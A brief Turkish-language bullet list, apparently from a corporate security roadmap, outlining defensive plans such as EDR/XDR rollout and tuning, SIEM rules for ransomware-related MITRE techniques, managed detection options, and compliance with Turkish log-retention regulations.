  • EDR/XDR pilot + SIEM entegrasyonu + SOC playbook güncellemesi
  • EDR tuning: audit mode → whitelist → enforcement (FP <%5)
  • Ransomware: ASR + canary dosya + T1490/T1486 SIEM kuralları
  • MDR değerlendirmesi: hibrit SOC modeli veya MSSP POC
  • Bellek koruma + ASR kuralları + behavioral detection tuning
  • 5651/KVKK/BDDK log bütünlüğü ve saklama sürelerine uyum